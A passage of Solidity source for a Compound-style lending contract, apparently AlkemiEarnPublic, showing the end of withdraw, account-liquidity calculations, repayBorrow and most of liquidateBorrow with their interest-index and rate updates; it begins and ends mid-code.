localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.WITHDRAW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } // We calculate the newBorrowIndex (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.WITHDRAW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalSupply = localResults.newTotalSupply; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = supplyBalance.principal; // save for use in `SupplyWithdrawn` event supplyBalance.principal = localResults.userSupplyUpdated; supplyBalance.interestIndex = localResults.newSupplyIndex; if (asset != wethAddress) { // Withdrawal should happen as Ether directly // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) err = doTransferOut(asset, msg.sender, localResults.withdrawAmount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.WITHDRAW_TRANSFER_OUT_FAILED); } } else { withdrawEther(msg.sender, localResults.withdrawAmount); // send Ether to user } emit SupplyWithdrawn( msg.sender, asset, localResults.withdrawAmount, localResults.startingBalance, supplyBalance.principal ); return uint256(Error.NO_ERROR); // success } /** * @dev Gets the user's account liquidity and account shortfall balances. This includes * any accumulated interest thus far but does NOT actually update anything in * storage, it simply calculates the account liquidity and shortfall with liquidity being * returned as the first Exp, ie (Error, accountLiquidity, accountShortfall). * @return Return values are expressed in 1e18 scale */ function calculateAccountLiquidity(address userAddress) internal view returns ( Error, Exp memory, Exp memory ) { Error err; Exp memory sumSupplyValuesMantissa; Exp memory sumBorrowValuesMantissa; ( err, sumSupplyValuesMantissa, sumBorrowValuesMantissa ) = calculateAccountValuesInternal(userAddress); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } Exp memory result; Exp memory sumSupplyValuesFinal = Exp({ mantissa: sumSupplyValuesMantissa.mantissa }); Exp memory sumBorrowValuesFinal; // need to apply collateral ratio (err, sumBorrowValuesFinal) = mulExp( collateralRatio, Exp({mantissa: sumBorrowValuesMantissa.mantissa}) ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // if sumSupplies < sumBorrows, then the user is under collateralized and has account shortfall. // else the user meets the collateral ratio and has account liquidity. if (lessThanExp(sumSupplyValuesFinal, sumBorrowValuesFinal)) { // accountShortfall = borrows - supplies (err, result) = subExp(sumBorrowValuesFinal, sumSupplyValuesFinal); assert(err == Error.NO_ERROR); // Note: we have checked that sumBorrows is greater than sumSupplies directly above, therefore `subExp` cannot fail. return (Error.NO_ERROR, Exp({mantissa: 0}), result); } else { // accountLiquidity = supplies - borrows (err, result) = subExp(sumSupplyValuesFinal, sumBorrowValuesFinal); assert(err == Error.NO_ERROR); // Note: we have checked that sumSupplies is greater than sumBorrows directly above, therefore `subExp` cannot fail. return (Error.NO_ERROR, result, Exp({mantissa: 0})); } } /** * @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18. * This includes any accumulated interest thus far but does NOT actually update anything in * storage * @dev Gets ETH values of accumulated supply and borrow balances * @param userAddress account for which to sum values * @return (error code, sum ETH value of supplies scaled by 10e18, sum ETH value of borrows scaled by 10e18) */ function calculateAccountValuesInternal(address userAddress) internal view returns ( Error, Exp memory, Exp memory ) { /** By definition, all collateralMarkets are those that contribute to the user's * liquidity and shortfall so we need only loop through those markets. * To handle avoiding intermediate negative results, we will sum all the user's * supply balances and borrow balances (with collateral ratio) separately and then * subtract the sums at the end. */ AccountValueLocalVars memory localResults; // Re-used for all intermediate results localResults.sumSupplies = Exp({mantissa: 0}); localResults.sumBorrows = Exp({mantissa: 0}); Error err; // Re-used for all intermediate errors localResults.collateralMarketsLength = collateralMarkets.length; for (uint256 i = 0; i < localResults.collateralMarketsLength; i++) { localResults.assetAddress = collateralMarkets[i]; Market storage currentMarket = markets[localResults.assetAddress]; Balance storage supplyBalance = supplyBalances[userAddress][ localResults.assetAddress ]; Balance storage borrowBalance = borrowBalances[userAddress][ localResults.assetAddress ]; if (supplyBalance.principal > 0) { // We calculate the newSupplyIndex and user’s supplyCurrent (includes interest) (err, localResults.newSupplyIndex) = calculateInterestIndex( currentMarket.supplyIndex, currentMarket.supplyRateMantissa, currentMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } (err, localResults.userSupplyCurrent) = calculateBalance( supplyBalance.principal, supplyBalance.interestIndex, localResults.newSupplyIndex ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // We have the user's supply balance with interest so let's multiply by the asset price to get the total value (err, localResults.supplyTotalValue) = getPriceForAssetAmount( localResults.assetAddress, localResults.userSupplyCurrent ); // supplyCurrent * oraclePrice = supplyValueInEth if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // Add this to our running sum of supplies (err, localResults.sumSupplies) = addExp( localResults.supplyTotalValue, localResults.sumSupplies ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } } if (borrowBalance.principal > 0) { // We perform a similar actions to get the user's borrow balance (err, localResults.newBorrowIndex) = calculateInterestIndex( currentMarket.borrowIndex, currentMarket.borrowRateMantissa, currentMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } (err, localResults.userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, localResults.newBorrowIndex ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // We have the user's borrow balance with interest so let's multiply by the asset price to get the total value (err, localResults.borrowTotalValue) = getPriceForAssetAmount( localResults.assetAddress, localResults.userBorrowCurrent ); // borrowCurrent * oraclePrice = borrowValueInEth if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // Add this to our running sum of borrows (err, localResults.sumBorrows) = addExp( localResults.borrowTotalValue, localResults.sumBorrows ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } } } return ( Error.NO_ERROR, localResults.sumSupplies, localResults.sumBorrows ); } /** * @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18. * This includes any accumulated interest thus far but does NOT actually update anything in * storage * @dev Gets ETH values of accumulated supply and borrow balances * @param userAddress account for which to sum values * @return (uint 0=success; otherwise a failure (see ErrorReporter.sol for details), * sum ETH value of supplies scaled by 10e18, * sum ETH value of borrows scaled by 10e18) */ function calculateAccountValues(address userAddress) public view returns ( uint256, uint256, uint256 ) { ( Error err, Exp memory supplyValue, Exp memory borrowValue ) = calculateAccountValuesInternal(userAddress); if (err != Error.NO_ERROR) { return (uint256(err), 0, 0); } return (0, supplyValue.mantissa, borrowValue.mantissa); } /** * @notice Users repay borrowed assets from their own address to the protocol. * @param asset The market asset to repay * @param amount The amount to repay (or -1 for max) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(address asset, uint256 amount) public payable nonReentrant returns (uint256) { if (paused) { revertEtherToUser(msg.sender, msg.value); return fail( Error.CONTRACT_PAUSED, FailureInfo.REPAY_BORROW_CONTRACT_PAUSED ); } refreshAlkBorrowIndex(asset, msg.sender, false); PayBorrowLocalVars memory localResults; Market storage market = markets[asset]; Balance storage borrowBalance = borrowBalances[msg.sender][asset]; Error err; uint256 rateCalculationResultCode; // We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (err, localResults.userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, localResults.newBorrowIndex ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo .REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } uint256 reimburseAmount; // If the user specifies -1 amount to repay (“max”), repayAmount => // the lesser of the senders ERC-20 balance and borrowCurrent if (asset != wethAddress) { if (amount == uint256(-1)) { localResults.repayAmount = min( getBalanceOf(asset, msg.sender), localResults.userBorrowCurrent ); } else { localResults.repayAmount = amount; } } else { // To calculate the actual repay use has to do and reimburse the excess amount of ETH collected if (amount > localResults.userBorrowCurrent) { localResults.repayAmount = localResults.userBorrowCurrent; (err, reimburseAmount) = sub( amount, localResults.userBorrowCurrent ); // reimbursement called at the end to make sure function does not have any other errors if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo .REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } } else { localResults.repayAmount = amount; } } // Subtract the `repayAmount` from the `userBorrowCurrent` to get `userBorrowUpdated` // Note: this checks that repayAmount is less than borrowCurrent (err, localResults.userBorrowUpdated) = sub( localResults.userBorrowCurrent, localResults.repayAmount ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo .REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // Fail gracefully if asset is not approved or has insufficient balance // Note: this checks that repayAmount is less than or equal to their ERC-20 balance if (asset != wethAddress) { // WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically revertEtherToUser(msg.sender, msg.value); err = checkTransferIn(asset, msg.sender, localResults.repayAmount); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE ); } } // We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow // Note that, even though the customer is paying some of their borrow, if they've accumulated a lot of interest since their last // action, the updated balance *could* be higher than the prior checkpointed balance. (err, localResults.newTotalBorrows) = addThenSub( market.totalBorrows, localResults.userBorrowUpdated, borrowBalance.principal ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED ); } // We need to calculate what the updated cash will be after we transfer in from user localResults.currentCash = getCash(asset); (err, localResults.updatedCash) = add( localResults.currentCash, localResults.repayAmount ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED ); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. // We calculate the newSupplyIndex, but we have newBorrowIndex already (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.REPAY_BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.REPAY_BORROW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalBorrows = localResults.newTotalBorrows; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowRepaid` event borrowBalance.principal = localResults.userBorrowUpdated; borrowBalance.interestIndex = localResults.newBorrowIndex; if (asset != wethAddress) { // WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) revertEtherToUser(msg.sender, msg.value); err = doTransferIn(asset, msg.sender, localResults.repayAmount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.REPAY_BORROW_TRANSFER_IN_FAILED); } } else { if (msg.value == amount) { uint256 supplyError = supplyEther( msg.sender, localResults.repayAmount ); //Repay excess funds if (reimburseAmount > 0) { revertEtherToUser(msg.sender, reimburseAmount); } if (supplyError != 0) { revertEtherToUser(msg.sender, msg.value); return fail( Error.WETH_ADDRESS_NOT_SET_ERROR, FailureInfo.WETH_ADDRESS_NOT_SET_ERROR ); } } else { revertEtherToUser(msg.sender, msg.value); return fail( Error.ETHER_AMOUNT_MISMATCH_ERROR, FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR ); } } supplyOriginationFeeAsAdmin( asset, msg.sender, localResults.repayAmount, market.supplyIndex ); emit BorrowRepaid( msg.sender, asset, localResults.repayAmount, localResults.startingBalance, borrowBalance.principal ); return uint256(Error.NO_ERROR); // success } /** * @notice users repay all or some of an underwater borrow and receive collateral * @param targetAccount The account whose borrow should be liquidated * @param assetBorrow The market asset to repay * @param assetCollateral The borrower's market asset to receive in exchange * @param requestedAmountClose The amount to repay (or -1 for max) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow( address targetAccount, address assetBorrow, address assetCollateral, uint256 requestedAmountClose ) public payable returns (uint256) { if (paused) { return fail( Error.CONTRACT_PAUSED, FailureInfo.LIQUIDATE_CONTRACT_PAUSED ); } refreshAlkSupplyIndex(assetCollateral, targetAccount, false); refreshAlkSupplyIndex(assetCollateral, msg.sender, false); refreshAlkBorrowIndex(assetBorrow, targetAccount, false); LiquidateLocalVars memory localResults; // Copy these addresses into the struct for use with `emitLiquidationEvent` // We'll use localResults.liquidator inside this function for clarity vs using msg.sender. localResults.targetAccount = targetAccount; localResults.assetBorrow = assetBorrow; localResults.liquidator = msg.sender; localResults.assetCollateral = assetCollateral; Market storage borrowMarket = markets[assetBorrow]; Market storage collateralMarket = markets[assetCollateral]; Balance storage borrowBalance_TargeUnderwaterAsset = borrowBalances[ targetAccount ][assetBorrow]; Balance storage supplyBalance_TargetCollateralAsset = supplyBalances[ targetAccount ][assetCollateral]; // Liquidator might already hold some of the collateral asset Balance storage supplyBalance_LiquidatorCollateralAsset = supplyBalances[localResults.liquidator][assetCollateral]; uint256 rateCalculationResultCode; // Used for multiple interest rate calculation calls Error err; // re-used for all intermediate errors (err, localResults.collateralPrice) = fetchAssetPrice(assetCollateral); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.LIQUIDATE_FETCH_ASSET_PRICE_FAILED); } (err, localResults.underwaterAssetPrice) = fetchAssetPrice(assetBorrow); // If the price oracle is not set, then we would have failed on the first call to fetchAssetPrice assert(err == Error.NO_ERROR); // We calculate newBorrowIndex_UnderwaterAsset and then use it to help calculate currentBorrowBalance_TargetUnderwaterAsset ( err, localResults.newBorrowIndex_UnderwaterAsset ) = calculateInterestIndex( borrowMarket.borrowIndex, borrowMarket.borrowRateMantissa, borrowMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_BORROWED_ASSET ); } ( err, localResults.currentBorrowBalance_TargetUnderwaterAsset ) = calculateBalance( borrowBalance_TargeUnderwaterAsset.principal, borrowBalance_TargeUnderwaterAsset.interestIndex, localResults.newBorrowIndex_UnderwaterAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_ACCUMULATED_BORROW_BALANCE_CALCULATION_FAILED ); } // We calculate newSupplyIndex_CollateralAsset and then use it to help calculate currentSupplyBalance_TargetCollateralAsset ( err, localResults.newSupplyIndex_CollateralAsset ) = calculateInterestIndex( collateralMarket.supplyIndex, collateralMarket.supplyRateMantissa, collateralMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET ); } ( err, localResults.currentSupplyBalance_TargetCollateralAsset ) = calculateBalance( supplyBalance_TargetCollateralAsset.principal, supplyBalance_TargetCollateralAsset.interestIndex, localResults.newSupplyIndex_CollateralAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET ); } // Liquidator may or may not already have some collateral asset. // If they do, we need to accumulate interest on it before adding the seized collateral to it. // We re-use newSupplyIndex_CollateralAsset calculated above to help calculate currentSupplyBalance_LiquidatorCollateralAsset ( err, localResults.currentSupplyBalance_LiquidatorCollateralAsset ) = calculateBalance( supplyBalance_LiquidatorCollateralAsset.principal, supplyBalance_LiquidatorCollateralAsset.interestIndex, localResults.newSupplyIndex_CollateralAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET ); } // We update the protocol's totalSupply for assetCollateral in 2 steps, first by adding target user's accumulated // interest and then by adding the liquidator's accumulated interest. // Step 1 of 2: We add the target user's supplyCurrent and subtract their checkpointedBalance // (which has the desired effect of adding accrued interest from the target user) (err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub( collateralMarket.totalSupply, localResults.currentSupplyBalance_TargetCollateralAsset, supplyBalance_TargetCollateralAsset.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET ); } // Step 2 of 2: We add the liquidator's supplyCurrent of collateral asset and subtract their checkpointedBalance // (which has the desired effect of adding accrued interest from the calling user) (err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub( localResults.newTotalSupply_ProtocolCollateralAsset, localResults.currentSupplyBalance_LiquidatorCollateralAsset, supplyBalance_LiquidatorCollateralAsset.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET ); } // We calculate maxCloseableBorrowAmount_TargetUnderwaterAsset, the amount of borrow that can be closed from the target user // This is equal to the lesser of // 1. borrowCurrent; (already calculated) // 2. ONLY IF MARKET SUPPORTED: discountedRepayToEvenAmount: // discountedRepayToEvenAmount= // shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)] // 3. discountedBorrowDenominatedCollateral // [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) // Here we calculate item 3. discountedBorrowDenominatedCollateral = // [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) ( err, localResults.discountedBorrowDenominatedCollateral ) = calculateDiscountedBorrowDenominatedCollateral( localResults.underwaterAssetPrice, localResults.collateralPrice, localResults.currentSupplyBalance_TargetCollateralAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_BORROW_DENOMINATED_COLLATERAL_CALCULATION_FAILED ); } if (borrowMarket.isSupported) { // Market is supported, so we calculate item 2 from above. ( err, localResults.discountedRepayToEvenAmount ) = calculateDiscountedRepayToEvenAmount( targetAccount, localResults.underwaterAssetPrice, assetBorrow ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_DISCOUNTED_REPAY_TO_EVEN_AMOUNT_CALCULATION_FAILED ); } // We need to do a two-step min to select from all 3 values // min1&3 = min(item 1, item 3) localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min( localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.discountedBorrowDenominatedCollateral ); // min1&3&2 = min(min1&3, 2) localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min( localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset, localResults.discountedRepayToEvenAmount ); } else { // Market is not supported, so we don't need to calculate item 2. localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min( localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.discountedBorrowDenominatedCollateral ); } // If liquidateBorrowAmount = -1, then closeBorrowAmount_TargetUnderwaterAsset = maxCloseableBorrowAmount_TargetUnderwaterAsset if (assetBorrow != wethAddress) { if (requestedAmountClose == uint256(-1)) { localResults .closeBorrowAmount_TargetUnderwaterAsset = localResults .maxCloseableBorrowAmount_TargetUnderwaterAsset; } else { localResults .closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose; } } else { // To calculate the actual repay use has to do and reimburse the excess amount of ETH collected if ( requestedAmountClose > localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset ) { localResults .closeBorrowAmount_TargetUnderwaterAsset = localResults .maxCloseableBorrowAmount_TargetUnderwaterAsset; (err, localResults.reimburseAmount) = sub( requestedAmountClose, localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset ); // reimbursement called at the end to make sure function does not have any other errors if (err != Error.NO_ERROR) { return fail( err, FailureInfo .REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } } else { localResults .closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose; } } // From here on, no more use of `requestedAmountClose` // Verify closeBorrowAmount_TargetUnderwaterAsset <= maxCloseableBorrowAmount_TargetUnderwaterAsset if ( localResults.closeBorrowAmount_TargetUnderwaterAsset > localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset ) { return fail( Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_TOO_HIGH ); } // seizeSupplyAmount_TargetCollateralAsset = closeBorrowAmount_TargetUnderwaterAsset * priceBorrow/priceCollateral *(1+liquidationDiscount) ( err, localResults.seizeSupplyAmount_TargetCollateralAsset ) = calculateAmountSeize( localResults.underwaterAssetPrice, localResults.collateralPrice, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.LIQUIDATE_AMOUNT_SEIZE_CALCULATION_FAILED ); } // We are going to ERC-20 transfer closeBorrowAmount_TargetUnderwaterAsset of assetBorrow into protocol // Fail gracefully if asset is not approved or has insufficient balance if (assetBorrow != wethAddress) { // WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically err = checkTransferIn( assetBorrow, localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_NOT_POSSIBLE); } } // We are going to repay the target user's borrow using the calling user's funds // We update the protocol's totalBorrow for assetBorrow, by subtracting the target user's prior checkpointed balance, // adding borrowCurrent, and subtracting closeBorrowAmount_TargetUnderwaterAsset. // Subtract the `closeBorrowAmount_TargetUnderwaterAsset` from the `currentBorrowBalance_TargetUnderwaterAsset` to get `updatedBorrowBalance_TargetUnderwaterAsset` (err, localResults.updatedBorrowBalance_TargetUnderwaterAsset) = sub( localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.closeBorrowAmount_TargetUnderwaterAsset ); // We have ensured above that localResults.closeBorrowAmount_TargetUnderwaterAsset <= localResults.currentBorrowBalance_TargetUnderwaterAsset, so the sub can't underflow assert(err == Error.NO_ERROR); // We calculate the protocol's totalBorrow for assetBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow // Note that, even though the liquidator is paying some of the borrow, if the borrow has accumulated a lot of interest since the last // action, the updated balance *could* be higher than the prior checkpointed balance. ( err, localResults.newTotalBorrows_ProtocolUnderwaterAsset ) = addThenSub( borrowMarket.totalBorrows, localResults.updatedBorrowBalance_TargetUnderwaterAsset, borrowBalance_TargeUnderwaterAsset.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_BORROW_CALCULATION_FAILED_BORROWED_ASSET ); } // We need to calculate what the updated cash will be after we transfer in from liquidator localResults.currentCash_ProtocolUnderwaterAsset = getCash(assetBorrow); (err, localResults.updatedCash_ProtocolUnderwaterAsset) = add( localResults.currentCash_ProtocolUnderwaterAsset, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_CASH_CALCULATION_FAILED_BORROWED_ASSET ); } // The utilization rate has changed! We calculate a new supply index, borrow index, supply rate, and borrow rate for assetBorrow // (Please note that we don't need to do the same thing for assetCollateral because neither cash nor borrows of assetCollateral happen in this process.) // We calculate the newSupplyIndex_UnderwaterAsset, but we already have newBorrowIndex_UnderwaterAsset so don't recalculate it. ( err, localResults.newSupplyIndex_UnderwaterAsset ) = calculateInterestIndex( borrowMarket.supplyIndex, borrowMarket.supplyRateMantissa, borrowMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_BORROWED_ASSET ); } ( rateCalculationResultCode, localResults.newSupplyRateMantissa_ProtocolUnderwaterAsset ) = borrowMarket.interestRateModel.getSupplyRate( assetBorrow, localResults.updatedCash_ProtocolUnderwaterAsset, localResults.newTotalBorrows_ProtocolUnderwaterAsset ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo .LIQUIDATE_NEW_SUPPLY_RATE_CALCULATION_FAILED_BORROWED_ASSET, rateCalculationResultCode ); } ( rateCalculationResultCode, localResults.newBorrowRateMantissa_ProtocolUnderwaterAsset ) = borrowMarket.interestRateModel.getBorrowRate( assetBorrow, localResults.updatedCash_ProtocolUnderwaterAsset, localResults.newTotalBorrows_ProtocolUnderwaterAsset ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo .LIQUIDATE_NEW_BORROW_RATE_CALCULATION_FAILED_BORROWED_ASSET, rateCalculationResultCode ); } // Now we look at collateral. We calculated target user's accumulated supply balance and the supply index above. // Now we need to calculate the borrow index. // We don't need to calculate new rates for the collateral asset because we have not changed utilization: // - accumulating interest on the target user's collateral does not change cash or borrows // - transferring seized amount of collateral internally from the target user to the liquidator does not change cash or borrows. ( err, localResults.newBorrowIndex_CollateralAsset ) = calculateInterestIndex( collateralMarket.borrowIndex, collateralMarket.borrowRateMantissa, collateralMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET ); } // We checkpoint the target user's assetCollateral supply balance, supplyCurrent - seizeSupplyAmount_TargetCollateralAsset at the updated index (err, localResults.updatedSupplyBalance_TargetCollateralAsset) = sub( localResults.currentSupplyBalance_TargetCollateralAsset, localResults.seizeSupplyAmount_TargetCollateralAsset ); // The sub won't underflow because because seizeSupplyAmount_TargetCollateralAsset <= target user's collateral balance // maxCloseableBorrowAmount_TargetUnderwaterAsset is limited by the discounted borrow denominated collateral. That limits closeBorrowAmount_TargetUnderwaterAsset // which in turn limits seizeSupplyAmount_TargetCollateralAsset. assert(err == Error.NO_ERROR); // We checkpoint the liquidating user's assetCollateral supply balance, supplyCurrent + seizeSupplyAmount_TargetCollateralAsset at the updated index ( err, localResults.updatedSupplyBalance_LiquidatorCollateralAsset ) = add( localResults.currentSupplyBalance_LiquidatorCollateralAsset, localResults.seizeSupplyAmount_TargetCollateralAsset ); // We can't overflow here because if this would overflow, then we would have already overflowed above and failed // with LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET assert(err == Error.NO_ERROR); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save borrow market updates borrowMarket.blockNumber = block.number; borrowMarket.totalBorrows = localResults .newTotalBorrows_ProtocolUnderwaterAsset; // borrowMarket.totalSupply does not need to be updated borrowMarket.supplyRateMantissa = localResults .newSupplyRateMantissa_ProtocolUnderwaterAsset; borrowMarket.supplyIndex = localResults.newSupplyIndex_UnderwaterAsset; borrowMarket.borrowRateMantissa = localResults .newBorrowRateMantissa_ProtocolUnderwaterAsset; borrowMarket.borrowIndex = localResults.newBorrowIndex_UnderwaterAsset; // Save collateral market updates // We didn't calculate new rates for collateralMarket (because neither cash nor borrows changed), just new indexes and total supply. collateralMarket.blockNumber = block.number; collateralMarket.totalSupply = localResults .newTotalSupply_ProtocolCollateralAsset; collateralMarket.supplyIndex = localResults .newSupplyIndex_CollateralAsset; collateralMarket.borrowIndex = localResults .newBorrowIndex_CollateralAsset; // Save user updates localResults .startingBorrowBalance_TargetUnderwaterAsset = borrowBalance_TargeUnderwaterAsset .principal; // save for use in event borrowBalance_TargeUnderwaterAsset.principal = localResults 